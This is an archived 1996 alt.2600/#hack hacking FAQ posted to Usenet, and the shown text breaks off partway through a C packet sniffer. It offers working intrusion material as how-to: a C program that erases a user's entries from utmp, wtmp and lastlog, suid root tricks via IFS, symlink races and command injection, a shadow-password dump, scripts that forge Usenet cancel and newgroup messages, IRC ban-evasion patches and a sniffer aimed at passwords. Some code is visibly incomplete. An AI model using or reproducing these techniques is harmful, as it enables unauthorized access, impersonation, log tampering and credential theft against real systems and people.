alt.2600 FAQ, Beta .013 - Part 1/1

Archive-Name: alt-2600/faq
Posting-Frequency: Random
Last-Modified: 1996/01/07
Version: Beta .013

        Welcome to Beta .013 of the alt.2600/#hack FAQ!

        The purpose of this FAQ is to give you a general introduction
        to the topics covered in alt.2600 and #hack.  No document will
        make you a hacker.

        If you have a question regarding any of the topics covered in
        the FAQ, please direct it to alt.2600.  Please do not e-mail me
        with them, I do not have time to respond to each request

        If your copy of the alt.2600/#hack FAQ does not end with the
        letters EOT on a line by themselves, you do not have the entire

        If you do not have the entire FAQ, retrieve it from one of
        these sites:

        Get it on FTP at:         /pub/lps/sysadmin/      /pub/usenet-by-group/alt.2600/         /pub/jcase/   /pub/rtfm/usenet-by-group/alt.2600/ /users/nitehwk/phreak/

        Get it on the World Wide Web at:

        Get it on my BBS:
        Hacker's Haven (303)343-4053



                        alt.2600/#Hack F.A.Q.

                          Beta Revision .013

                   A TNO Communications Production


                              Sysop of
                           Hacker's Haven

                          Greets go out to:

        A-Flat, Al, Aleph1, Bluesman, Cavalier, Cruiser, Cybin, C-Curve,
        DeadKat, Disorder, Edison, Frosty, Glen Roberts, Hobbit,
        Holistic Hacker, KCrow, Major, Marauder, Novocain, Outsider,
        Per1com, Presence, Rogue Agent, Route, sbin, Taran King, Theora,
        ThePublic, Tomes, and TheSaint.

           We work in the dark
           We do what we can
           We give what we have
           Our doubt is our passion, and our passion is our task
           The rest is the madness of art.

                     -- Henry James

           When I picture a perfect reader, I always picture a
           monster of courage and curiosity, also something
           supple, cunning, cautious, a born adventurer and

                     -- Friedreich Nietzsche

Section A: Computers

  01. How do I access the password file under Unix?
  02. How do I crack Unix passwords?
  03. What is password shadowing?
  04. Where can I find the password file if it's shadowed?
  05. What is NIS/yp?
  06. What are those weird characters after the comma in my passwd file?
  07. How do I access the password file under VMS?
  08. How do I crack VMS passwords?
  09. What can be logged on a VMS system?
  10. What privileges are available on a VMS system?
  11. How do I break out of a restricted shell?
  12. How do I gain root from a suid script or program?
  13. How do I erase my presence from the system logs?
U 14. How do I send fakemail?
  15. How do I fake posts and control messages to UseNet?
  16. How do I hack ChanOp on IRC?
U 17. How do I modify the IRC client to hide my real username?
  18. How to I change to directories with strange characters in them?
U 19. What is ethernet sniffing?
  20. What is an Internet Outdial?
  21. What are some Internet Outdials?
U 22. What is this system?
U 23. What are the default accounts for XXX ?
  24. What port is XXX on?
  25. What is a trojan/worm/virus/logic bomb?
  26. How can I protect myself from viruses and such?
  27. Where can I get more information about viruses?
  28. What is Cryptoxxxxxxx?
  29. What is PGP?
  30. What is Tempest?
  31. What is an anonymous remailer?
U 32. What are the addresses of some anonymous remailers?
  33. How do I defeat copy protection?
  34. What is
  35. How do I post to a moderated newsgroup?
U 36. How do I post to Usenet via e-mail?
  37. How do I defeat a BIOS password?
N 38. What is the password for <encrypted file>?
N 39. Is there any hope of a decompiler that would convert an executable
      program into C/C++ code?
N 40. How does the MS-Windows password encryption work?

Section B: Telephony

U 01. What is a Red Box?
  02. How do I build a Red Box?
  03. Where can I get a 6.5536Mhz crystal?
  04. Which payphones will a Red Box work on?
  05. How do I make local calls with a Red Box?
  06. What is a Blue Box?
  07. Do Blue Boxes still work?
  08. What is a Black Box?
  09. What do all the colored boxes do?
  10. What is an ANAC number?
U 11. What is the ANAC number for my area?
  12. What is a ringback number?
U 13. What is the ringback number for my area?
  14. What is a loop?
U 15. What is a loop in my area?
U 16. What is a CNA number?
  17. What is the telephone company CNA number for my area?
U 18. What are some numbers that always ring busy?
U 19. What are some numbers that temporarily disconnect phone service?
U 20. What is a Proctor Test Set?
U 21. What is a Proctor Test Set in my area?
  22. What is scanning?
  23. Is scanning illegal?
U 24. Where can I purchase a lineman's handset?
  25. What are the DTMF frequencies?
  26. What are the frequencies of the telephone tones?
U 27. What are all of the * (LASS) codes?
  28. What frequencies do cordless phones operate on?
  29. What is Caller-ID?
  30. How do I block Caller-ID?
  31. What is a PBX?
  32. What is a VMB?
  33. What are the ABCD tones for?
N 34. What are the International Direct Numbers?

Section C: Cellular

N 01. What is an MTSO?
N 02. What is a NAM?
N 03. What is an ESN?
N 04. What is an MIN?
N 05. What is a SCN?
N 06. What is a SIDH?
N 07. What are the forward/reverse channels?

Section D: Resources

  01. What are some ftp sites of interest to hackers?
  02. What are some fsp sites of interest to hackers?
U 03. What are some newsgroups of interest to hackers?
U 04. What are some telnet sites of interest to hackers?
U 05. What are some gopher sites of interest to hackers?
U 06. What are some World wide Web (WWW) sites of interest to hackers?
  07. What are some IRC channels of interest to hackers?
U 08. What are some BBS's of interest to hackers?
U 09. What are some books of interest to hackers?
U 10. What are some videos of interest to hackers?
U 11. What are some mailing lists of interest to hackers?
U 12. What are some print magazines of interest to hackers?
U 13. What are some e-zines of interest to hackers?
U 14. What are some organizations of interest to hackers?
U 15. What are some radio programs of interest to hackers?
N 16. What are other FAQ's of interest to hackers?
  17. Where can I purchase a magnetic stripe encoder/decoder?
  18. What are the rainbow books and how can I get them?

Section E: 2600

  01. What is alt.2600?
  02. What does "2600" mean?
  03. Are there on-line versions of 2600 available?
  04. I can't find 2600 at any bookstores.  What can I do?
  05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

Section F: Miscellaneous

  01. What does XXX stand for?
  02. How do I determine if I have a valid credit card number?
U 03. What is the layout of data on magnetic stripe cards?
  04. What are the ethics of hacking?
  05. Where can I get a copy of the alt.2600/#hack FAQ?

U == Updated since last release of the alt.2600/#hack FAQ
N == New since last release of the alt.2600/#hack FAQ

Section A: Computers

01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd.  On a Unix system
with either NIS/yp or password shadowing, much of the password data may
be elsewhere.  An entry in the password file consists of seven colon
delimited fields:

Encrypted password (And optional password aging data)
User number
Group Number
GECOS Information
Home directory

] Sample entry from /etc/passwd:
] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash

Broken down, this passwd file line shows:

          Username: will
Encrypted password: 5fg63fhD3d5gh
       User number: 9406
      Group Number: 12
 GECOS Information: Will Spencer
    Home directory: /home/fsg/will
             Shell: /bin/bash

02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted.  Unix
passwords are encrypted with a one way function.  The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.

Password cracking software uses wordlists.  Each word in the wordlist
is encrypted and the results are compared to the encrypted form of the
target password.

The best cracking program for Unix passwords is currently Crack by
Alec Muffett.  For PC-DOS, the best package to use is currently
CrackerJack.  CrackerJack is available via ftp from

03. What is password shadowing?

Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.

To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.


#include <pwd.h>
struct passwd *p;
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);

04. Where can I find the password file if it's shadowed?

Unix                  Path                            Token
AIX 3                 /etc/security/passwd            !
       or             /tcb/auth/files/<first letter   #
                            of username>/<username>
A/UX 3.0s             /tcb/files/auth/?/*
BSD4.3-Reno           /etc/master.passwd              *
ConvexOS 10           /etc/shadpw                     *
ConvexOS 11           /etc/shadow                     *
DG/UX                 /etc/tcb/aa/user/               *
EP/IX                 /etc/shadow                     x
HP-UX                 /.secure/etc/passwd             *
IRIX 5                /etc/shadow                     x
Linux 1.1             /etc/shadow                     *
OSF/1                 /etc/passwd[.dir|.pag]          *
SCO Unix #.2.x        /tcb/auth/files/<first letter   *
                            of username>/<username>
SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
SunOS 5.0             /etc/shadow
                      <optional NIS+ private secure maps/tables/whatever>
System V Release 4.0  /etc/shadow                     x
System V Release 4.2  /etc/security/* database
Ultrix 4              /etc/auth[.dir|.pag]            *
UNICOS                /etc/udb                        *

05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages).  The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data.  NIS is not designed to promote system security.  If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:


To view the real password file use this command "ypcat passwd"

06. What are those weird characters after the comma in my passwd file?

The characters are password aging data.  Password aging forces the
user to change passwords after a System Administrator specified period
of time.  Password aging can also force a user to keep a password for
a certain number of weeks before changing it.

] Sample entry from /etc/passwd with password aging installed:
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash

Note the comma in the encrypted password field.  The characters after
the comma are used by the password aging mechanism.

] Password aging characters from above example:
] M.z8

The four characters are interpreted as follows:

  1: Maximum number of weeks a password can be used without changing.
  2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in.  The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.

If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password.  Only root can
change that users password.

It should also be noted that the su command does not check the password
aging data.  An account with an expired password can be su'd to
without being forced to change the password.

                        Password Aging Codes
|                                                                        |
| Character:  .  /  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  G  H |
|    Number:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 |
|                                                                        |
| Character:  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  a  b |
|    Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
|                                                                        |
| Character:  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v |
|    Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
|                                                                        |
| Character:  w  x  y  z                                                 |
|    Number: 60 61 62 63                                                 |
|                                                                        |

07. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT.  However,
unlike Unix, most users do not have access to read the password file.

08. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and

09. What can be logged on a VMS system?

Virtually every aspect of the VMS system can be logged for
investigation.  To determine the status of the accounting on your system
use the command SHOW ACCOUNTING.  System accounting is a facility for
recording information about the use of the machine from a system
accounting perspective (resource logging such as CPU time, printer usage
etc.), while system auditing is done with the aim of logging information
for the purpose of security.  To enable accounting:
$ SET ACCOUNTING  [/ENABLE=(Activity...)] 
This enables accounting logging information to the accounting log
file SYS$MANAGER:ACCOUNTING.DAT.  This also is used to close
the current log file and open a new one with a higher version
The following activities can be logged:
        BATCH                   Termination of a batch job
        DETACHED                Termination of a detached job
        IMAGE                   Image execution
        INTERACTIVE             Interactive job termination
        LOGIN_FAILURE           Login failures
        MESSAGE                 Users messages
        NETWORK                 Network job termination
        PRINT                   Print Jobs
        PROCESS                 Any terminated process
        SUBPROCESS              Termination of  a subprocess
To enable security auditing use:
        $ SET AUDIT [/ENABLE=(Activity...)]
The /ALARM qualifier is used to raise an alarm to all terminals approved
as security operators, which means that you need the SECURITY
privileges.  You can determine your security auditing configuration
The security auditor can be configured to log the following

        ACL                     Access Control List requested events
        AUTHORIZATION           Modification to the system user
                                authorization file  SYS$SYSTEM:SYSUAF.DAT
        BREAKIN                 Attempted Break-ins
        FILE_ACCESS             File or global section access
        INSTALL                 Occurrence of any INSTALL operations
        LOGFAILURE              Any login failures
        LOGIN                   A login attempt from various sources
	LOGOUT                  Logouts 
        MOUNT                   Mount or dismount requests

10. What privileges are available on a VMS system?
ACNT            Allows you to restrain accounting messages
ALLSPOOL        Allows you to allocate spooled devices
ALTPRI          Allot Priority.  This allows you to set any priority
BUGCHK          Allows you make bug check error log entries
BYPASS          Enables you to disregard protections
CMKRNL          Change to executive or kernel mode.  These privileges
                allow a process to execute optional routines with KERNEL
                and EXECUTIVE access modes. CMKRNL is the most powerful
                privilege on VMS as anything protected can be accessed
                if you have this privilege.  You must have these
                privileges to gain access to the kernel data structures
DETACH          This privilege allow you to create detached processes of
                arbitrary UICs
DIAGNOSE        With this privilege you can diagnose devices
EXQUOTA         Allows you to exceed your disk quota
GROUP           This privilege grants you permission to  affect other
                processes in the same rank
GRPNAM          Allows you to insert group logical names into the group
                logical names table.
GRPPRV          Enables you to access system group objects through
                system protection field
LOG_IO          Allows you to issue logical input output requests
MOUNT           May execute the mount function
NETMBX          Allows you to create network connections
OPER            Allows you to perform operator functions
PFNMAP          Allows you to map to specific physical pages
PHY_IO          Allows you to perform physical input output requests
PRMCEB          Can create permanent common event clusters
PRMGBL          Allows you to create permanent global sections
PRMMBX          Allows you to create permanent mailboxes
PSWAPM          Allows you to change a processes swap mode
READALL         Allows you read access to everything
SECURITY        Enables you to perform security  related functions
SETPRV          Enable all privileges
SHARE           Allows you to access devices allocated to other users.
                This is used to assign system mailboxes.
SHMEM           Enables you to modify objects in shared memory
SYSGBL          Allows you to create system wide permanent global
SYSLCK          Allows you to lock system wide resources
SYSNAM          Allows you to insert in system logical names in the
                names table.
SYSPRV          If a process holds this privilege then it is the same as
                a process holding the system user identification code.
TMPMBX          Allows you create temporary mailboxes
VOLPRO          Enables you to override volume protection
WORLD           When this is set you can affect other processes in the
To determine what privileges your process is running with issue the command:
$ show proc/priv   

11. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function.  A good example is vi.  Run vi and use this command:

:set shell=/bin/sh

then shell using this command:


If your restricted shell prevents you from using the "cd" command, ftp
into your account and you may be able to cd.

12. How do I gain root from a suid script or program?

1. Change IFS.

If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS.  IFS is the Internal
Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:


and you change IFS to '/' the shell will them interpret the
proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.

To change IFS, use this command:

IFS='/';export IFS      # Bourne Shell
setenv IFS '/'          # C Shell
export IFS='/'          # Korn Shell

2. link the script to -i

Create a symbolic link named "-i" to the program.  Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode.  This only works on suid shell scripts.


% ln -i
% -i

3. Exploit a race condition

Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.


nice -19 suidprog ; ln -s evilprog suidroot

4. Send bad input to the program.

Invoke the name of the program and a separate command on the same
command line.


suidprog ; id

13. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.


#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
    struct utmp utmp_ent;
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
void kill_wtmp(who)
char *who;
    struct utmp utmp_ent;
    long pos;
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
void kill_lastlog(who)
char *who;
    struct passwd *pwd;
    struct lastlog newll;
     if ((pwd=getpwnam(who))!=NULL) {
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
    } else printf("%s: ?\n",who);
int argc;
char *argv[];
    if (argc==2) {
    } else

14. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to
originate from.  Enter your message as in this example:

 From: (The Voyager)
 Subject: Clipper

	Please discontinue your silly Clipper initiative.

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work.  Test by sending yourself fakemail first.

For more information read RFC 822 "Standard for the format of ARPA
Internet text messages."

15. How do I fake posts and control messages to UseNet?

 From: Anonymous (Pretending to be: (David C Lawrence))
 Subject: FAQ: Better living through forgery
 Date: 19 Mar 1995 02:37:09 GMT

	Anonymous netnews without "anonymous" remailers

 Inspired by the recent "NetNews Judges-L" events, this file has been
 updated to cover forging control messages, so you can do your own
 article canceling and create and destroy your own newsgroups.

 Save any news article to a file.  We'll call it "hak" in this example.

 Edit "hak", and remove any header lines of the form

         From some!random!path!user   (note: "From ", not "From: " !!)

 Shorten the Path: header down to its LAST two or three "bangized"
 components. This is to make the article look like it was posted from
 where it really was posted, and originally hit the net at or near the
 host you send it to.  Or you can construct a completely new Path: line
 to reflect your assumed alias.

 Make some change to the Message-ID: field, that isn't likely to be
 duplicated anywhere.  This is usually best done by adding a couple of
 random characters to the part before the @, since news posting programs
 generally use a fixed-length field to generate these IDs.

 Change the other headers to say what you like -- From:, Newsgroups:,
 Sender:, etc.  Replace the original message text with your message.  If
 you are posting to a moderated group or posting a control message,
 remember to put in an Approved: header to bypass the moderation

 To specifically cancel someone else's article, you need its message-ID.
 Your message headers, in addition to what's already there, should also
 contain the following with that message-ID in it.  This makes it a
 "control message". NOTE: control messages generally require an
 Approved: header as well, so you should add one.

 Subject: cmsg cancel <>
 Control: cancel <>

 Newsgroups are created and destroyed with control messages, too.  If
 you wanted to create, for instance,, your
 control headers would look like

 Subject: cmsg newgroup
 Control: newgroup

 Add on the string "moderated" at the end of these if you want the group
 to be "moderated with no moderator" as with alt.hackers.  Somewhere in
 the body of your message, you should include the following text,
 changed with the description of the group you're creating:

 For your newsgroups file:               We don't do windows

 To remove a group, substitute "rmgroup" for "newgroup" in the header
 lines above.  Keep in mind that most sites run all "rmgroup" requests
 through a human news-master, who may or may not decide to honor it.
 Group creation is more likely to be automatic than deletion at most
 installations.  Any newsgroup changes are more likely to take effect if
 the come from me, since my name is hardwired into many of the NNTP
 control scripts, so using the From: and Approved: headers from this
 posting is recommended.

 Save your changed article, check it to make sure it contains NO
 reference to yourself or your own site, and send it to your favorite
 NNTP server that permits transfers via the IHAVE command, using the
 following script:

 #! /bin/sh
 ## Post an article via IHAVE.
 ## args: filename server

  if test "$2" = "" ; then
   echo usage: $0 filename server
   exit 1
 if test ! -f $1 ; then
   echo $1: not found
   exit 1

 # suck msg-id out of headers, keep the brackets
 msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
   sed 's/.*-[Ii][Dd]: //'`
 echo $msgid

 ( sleep 5
   echo IHAVE $msgid
   sleep 5
   cat $1
   sleep 1
    echo "."
   sleep 1
   echo QUIT ) | telnet $2 119

 If your article doesn't appear in a day or two, try a different server.
 They are easy to find.  Here's a script that will break a large file
 full of saved netnews into a list of hosts to try.  Edit the output of
 this if you want, to remove obvious peoples' names and other trash.

 #! /bin/sh
 FGV='fgrep -i -v'
 egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
 /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp

 Once you have your host list, feed it to the following script.

 #! /bin/sh

 while read xx ; do
 if test "$xx" = "" ; then continue;
 echo === $xx
 ( echo open $xx 119
   sleep 5
   echo ihave
   sleep 4
   echo .
   echo quit
   sleep 1
   echo quit
 ) | telnet

 If the above script is called "findem" and you're using csh, you should do

         findem < list >& outfile

 so that ALL output from telnet is captured.  This takes a long time,
 but when it finishes, edit "outfile" and look for occurrences of "335".
 These mark answers from servers that might be willing to accept an
 article.  This isn't a completely reliable indication, since some
 servers respond with acceptance and later drop articles.  Try a given
 server with a slightly modified repeat of someone else's message, and
 see if it eventually appears.

 Sometimes the telnets get into an odd state, and freeze, particularly
 when a host is refusing NNTP connections.  If you manually kill these
 hung telnet processes but not the main script, the script will continue
 on.  In other words, you may have to monitor the finding script a
 little while it is running.

 You will notice other servers that don't necessarily take an IHAVE, but
 say "posting ok".  You can probably do regular POSTS through these, but
 they will add an "NNTP-Posting-Host: " header containing the machine
 YOU came from and are therefore unsuitable for completely anonymous


16. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on.  When
that server reconnects to the net, you will have ChanOp on the real
channel.  If you have ServerOp on a server, you can cause it to split
on purpose.

17. How do I modify the IRC client to hide my real username?

Note: This FAQ answer was written by someone else, but I do not know who.
      If you know who originally wrote this, please e-mail me.


Applying these changes to the source code for your ircII client and
recompiling gives you a new ircII command: /NEWUSER.  This new command
can be used as follows:

 *   /NEWUSER <new_username> [new_IRCNAME]
 *       <new_username> is a new username to use and is required
 *       [new_IRCNAME] is a new IRCNAME string to use and is optional
 *   This will disconnect you from your server and reconnect using
 *     the new information given.  You will rejoin all channel you
 *     are currently on and keep your current nickname.

The effect is basically changing your username/IRCname on the fly.
Although you are disconnected from your server and reconnected, the
ircII client is never exited, thus keeping all your state information
and aliases intact.  This is ideal for bots that wish to be REALLY
obnoxious in ban evasion. ;)

As this is now a new command in ircII, it can be used in scripts. Be
aware that the reconnect associated with the NEWUSER command takes time,
so TIMER any commands that must immediately follow the NEWUSER. For
example... ban evasion made easy (but beware infinite reconnects when
your site is banned):

on ^474 * {
  echo *** Banned from channel $1
  if ($N == [AnnMurray]) {
    nick $randomstring
    join $1
    } {
    nick AnnMurray
    newuser $randomstring
    timer 5 join $1

Or just to be annoying... a /BE <nickname> alias that will assume a
person's username and IRCNAME:

alias be {
  ^on ^311 * {
    ^on 311 -*
    newuser $2 $5-
  whois $0

Now... in order to add this command to your ircII client, get the latest
client source (or whatever client source you are using).  Cd into the
source directory and edit the file "edit.c".  Make the following

Locate the line which reads:
extern  void    server();

Insert the following line after it:
static  void    newuser();

This pre-defines a new function "newuser()" that we'll add later.

Now, locate the line which reads:
	"NAMES",        "NAMES",        funny_stuff,            0,

Insert the following line after it:
	"NEWUSER",      NULL,           newuser,                0,

This adds a new command NEWUSER to the list of valid IRCII commands, and
tells it to call our new function newuser() to perform it.

Finally, go the bottom of the file and add the following code as our new
function "newuser()":

 * newuser: the /NEWUSER command.  Added by Hendrix
 *   Parameters as follows:
 *     /NEWUSER <new_username> [new_IRCNAME]
 *       <new_username> is a new username to use and is required
 *       [new_IRCNAME] is a new IRCNAME string to use and is optional
 *   This will disconnect you from your server and reconnect using
 *     the new information given.  You will rejoin all channels you
 *     are currently on and keep your current nickname.

static void    newuser(command, args)
char    *command,
	char    *newuname;

	if (newuname = next_arg(args, &args))
		strmcpy(username, newuname, NAME_LEN);
		if (*args)
			strmcpy(realname, args, REALNAME_LEN);
		say("Reconnecting to server...");
		if (connect_to_server(server_list[from_server].name,
		      server_list[from_server].port, primary_server) != -1)
			change_server_channels(primary_server, from_server);
			set_window_server(-1, from_server, 1);
			say("Unable to reconnect. Use /SERVER to connect.");
		say("You must specify a username and, optionally, an IRCNAME");


/NEWUSER will not hide you from a CTCP query.  To do that, modify ctcp.c
as shown in the following diff and set an environment variable named
CTCPFINGER with the information you would like to display when queried.

*** ctcp.old
--- ctcp.c
*** 334 ****
!       char    c;
--- 334 ---
!       char    c, *fing;
*** 350,354 ****
!               if (pwd = getpwuid(uid))
			char    *tmp;
--- 350,356 ----
!               if (fing = getenv("CTCPFINGER"))
!                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
!               else if (pwd = getpwuid(uid))
			char    *tmp;

18. How to I change to directories with strange characters in them?

These directories are often used by people trying to hide information,
most often warez (commercial software).

There are several things you can do to determine what these strange
characters are.  One is to use the arguments to the ls command that
cause ls to give you more information:

From the man page for ls:

    -F   Causes directories to be marked with a trailing ``/'',
	 executable files to be marked with a trailing ``*'', and
	 symbolic links to be marked with a trailing ``@'' symbol.

    -q   Forces printing of non-graphic characters in filenames as the
	 character ``?''.

    -b   Forces printing of non-graphic characters in the \ddd
	 notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine.  Then you can do a "cat -t -v -e filename" to see exactly
what those bizarre little characters are.

From the man page for cat:

    -v  Causes non-printing characters (with the exception of tabs,
	newlines, and form feeds) to be displayed.  Control characters
	are displayed as ^X (<Ctrl>x), where X is the key pressed with
	the <Ctrl> key (for example, <Ctrl>m is displayed as ^M).  The
	<Del> character (octal 0177) is printed as ^?.  Non-ASCII
	characters (with the high bit set) are printed as M -x, where
	x is the character specified by the seven low order bits.

    -t  Causes tabs to be printed as ^I and form feeds as ^L.  This
	option is ignored if the -v option is not specified.

    -e  Causes a ``$'' character to be printed at the end of each line
	(prior to the new-line).  This option is ignored if the -v
	option is not set.

If the directory name includes a <SPACE> or a <TAB> you will need to
enclose the entire directory name in quotes.  Example:

cd "..<TAB>"

On an IBM-PC, you may enter these special characters by holding down
the <ALT> key and entering the decimal value of the special character
on your numeric keypad.  When you release the <ALT> key, the special
character should appear on your screen.  An ASCII chart can be very

Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in question to another character.

From the man page for stty:

    Control assignments

    control-character C
                      Sets control-character to C, where control-character is
                      erase, kill, intr (interrupt), quit, eof, eol, swtch
                      (switch), start, stop or susp.

                      start and stop are available as possible control char-
                      acters for the control-character C assignment.

                      If C is preceded by a caret (^) (escaped from the
                      shell), then the value used is the corresponding con-
                      trol character (for example, ^D is a <Ctrl>d; ^? is
                      interpreted as DELETE and ^- is interpreted as unde-

Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.

19. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you.  When your software sees a
packet that fits certain criteria, it logs it to a file.  The most
common criteria for an interesting packet is one that contains words
like "login" or "password."

Many ethernet sniffers are available, here are a few that may be on
your system now:

OS              Sniffer
~~              ~~~~~~~
4.3/4.4 BSD     tcpdump            /* Available via anonymous ftp           */
FreeBSD         tcpdump            /* Available via anonymous ftp at        */
                    /* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD          tcpdump            /* Available via anonymous ftp at        */
                             /* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix        tcpdump            /* Available via anonymous ftp           */
DEC Ultrix      tcpdump            /* Available via anonymous ftp           */
HP/UX           nettl  (monitor)
              & netfmt (display)
                nfswatch           /* Available via anonymous ftp           */
Linux           tcpdump            /* Available via anonymous ftp at        */
                                   /*                       */
                                   /* /pub/Linux/system/Network/management/ */
SGI Irix        nfswatch           /* Available via anonymous ftp           */
                tcpdump            /* Available via anonymous ftp           */
Solaris         snoop
SunOS           etherfind
                nfswatch           /* Available via anonymous ftp           */
                tcpdump            /* Available via anonymous ftp           */
DOS             ETHLOAD            /* Available via anonymous ftp as        */
                                   /*                          */
                The Gobbler        /* Available via anonymous ftp           */
                Netzhack           /* Available via anonymous ftp at        */
                                   /* */
                                   /* /pub/netzhack.mac                     */
Macintosh       Etherpeek

Here is source code for a sample ethernet sniffer:

/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
     time_t  Time;              /* start time */
     struct in_addr SRCip,
     u_int   SRCport,           /* src/dst ports */
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
